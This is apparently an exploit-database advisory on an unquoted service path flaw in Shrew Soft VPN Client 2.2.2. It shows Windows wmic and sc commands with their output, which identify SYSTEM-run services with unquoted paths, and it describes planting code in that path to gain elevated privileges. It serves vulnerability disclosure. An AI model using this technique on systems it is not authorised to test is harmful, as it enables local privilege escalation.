Shrew Soft VPN Client 2.2.2 – ‘iked’ Unquoted Service Path
# Exploit Title: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path # Date: 2019-11-14 # Exploit Author: D.Goedecke # Vendor Homepage: www.shrew.net # Software Link: https://www.shrew.net/download/vpn/vpn-client-2.2.2-release.exe # Version: 2.2.2 # Tested on: Windows 10 64bit C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ ShrewSoft IKE Daemon iked C:\Program Files\ShrewSoft\VPN Client\iked.exe -service Auto ShrewSoft IPSEC Daemon ipsecd C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service Auto C:\Users\user>sc qc iked [SC] QueryServiceConfig SUCCESS SERVICE_NAME: iked TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\iked.exe -service LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ShrewSoft IKE Daemon DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>sc qc ipsecd [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ipsecd TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ShrewSoft IPSEC Daemon DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: ============ A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. |